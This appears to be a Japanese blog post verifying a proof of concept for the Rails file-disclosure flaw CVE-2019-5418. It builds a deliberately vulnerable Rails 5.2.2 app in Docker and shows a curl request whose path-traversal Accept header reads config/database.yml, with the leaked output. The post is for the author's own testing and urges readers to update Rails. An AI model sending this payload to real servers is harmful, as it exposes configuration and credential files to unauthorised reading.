CVE-2019-5418のPoCの動作確認をしてみた

この辺りのやつです。

* [Rails4/5/6に関する重大なSecurityFix / 2019年3月13日 01:49](https://qiita.com/moriwm77/items/b727eb41d95509535538)
* [Rails 4.2.11.1, 5.0.7.2, 5.1.6.2, 5.2.2.1, and 6.0.0.beta3 have been released!](https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/)

PoCもすでにあるようですね。

* [CVE-2019-5418 - File Content Disclosure on Rails](https://github.com/mpgn/CVE-2019-5418)

自身のテスト時に調査出来るようにPoCの確認をしてみます。
※ テストを行う場合は、必ず自分の管理下のサーバーに対してのみとしましょう。

# 環境構築


```ruby:application_controller.rb
class ApplicationController < ActionController::Base
  def cve_2019_5418
    render :file => "README.md"
  end
end
```

```ruby:Gemfile
source 'https://rubygems.org'
  
gem "pry"
gem "rails", "5.2.2"
gem "sqlite3", "~> 1.3.6"
gem "puma"
group :development do
  gem "brakeman"
end
```

 * 多分、railsだけで良いはずですけど、めんどくさいので、整理していません。


```ruby:routes.rb
Rails.application.routes.draw do
  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
  root 'application#cve_2019_5418'
end
```


```dockerfile:Dockerfile
FROM ruby:alpine
  
WORKDIR /myapp
COPY Gemfile .
RUN apk upgrade --no-cache && \
    apk add --update --no-cache \
      postgresql-client \
      nodejs \
      tzdata \
      vim \
      ngrep
RUN apk add --update --no-cache --virtual=build-dependencies \
      build-base \
      curl-dev \
      linux-headers \
      libxml2-dev \
      libxslt-dev \
      postgresql-dev \
      sqlite-dev \
      ruby-dev \
      yaml-dev \
      zlib-dev
RUN gem install bundler && \
    bundle update -j4

RUN bundle exec rails new sample
WORKDIR /myapp/sample

COPY application_controller.rb app/controllers/
COPY routes.rb config/

RUN sed s/"'rails'.*"/"'rails', '5.2.2'"/ Gemfile > tmpGemfile && mv tmpGemfile Gemfile
RUN sed s/"'sqlite3'.*"/"'sqlite3', '~> 1.3.6'"/ Gemfile > tmpGemfile && mv tmpGemfile Gemfile
RUN rm Gemfile.lock
RUN bundle exec rails db:migrate
CMD bundle exec rails server
```

 * sed周りがうさんくさいですが、意図通りな結果にはなっているので、とりあえず気にしません

起動

```sh
docker build --no-cache --rm --tag rails5.2.2 .
docker run -p 3000:3000 rails5.2.2
```

# 試してみる
今後の業務でも気軽に試せるように、OWASP ZAPのReplacerに設定しておきます。
![スクリーンショット 2019-03-19 11.16.35.png](https://qiita-image-store.s3.amazonaws.com/0/23194/787ae233-5de1-95ed-08df-80871a2dfb67.png)

こうすることで、試験したい場合に、enableをチェックしておくだけで、PoCが有効になります。

## Replacer disable
<img width="1026" alt="スクリーンショット 2019-03-19 14.46.22.png" src="https://qiita-image-store.s3.amazonaws.com/0/23194/5774c835-170d-c99a-a129-02bac82fe5ef.png">


## Replacer enable
<img width="1026" alt="スクリーンショット 2019-03-19 14.46.05.png" src="https://qiita-image-store.s3.amazonaws.com/0/23194/d76c8d3b-0b8c-c7b5-a53e-4e5cf94b581f.png">

# まとめ
かなり手軽なようですね。
以下のようなリクエストとかをされると、少し嫌な感じがあります。

```sh

$ curl localhost:3000 -H 'Accept: ../../config/database.yml{{'
# SQLite version 3.x
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem 'sqlite3'
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: db/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: db/test.sqlite3

production:
  <<: *default
  database: db/production.sqlite3
```

今回の脆弱性のポイントは、元記事によると、

```rb
render file:
```

と書いてある部分なので、404や500といった静的ページ系のレンダリング時に使われるケースが多いように思います。
静的に404ページを返す際のサンプルコードがこういう形態なのか、そういう部分で見かけるような気がするコードだと思います。
とはいえ、すでに公式から対策を出してもらえているわけですし、必ず早急にアップデートして対応しておきましょう。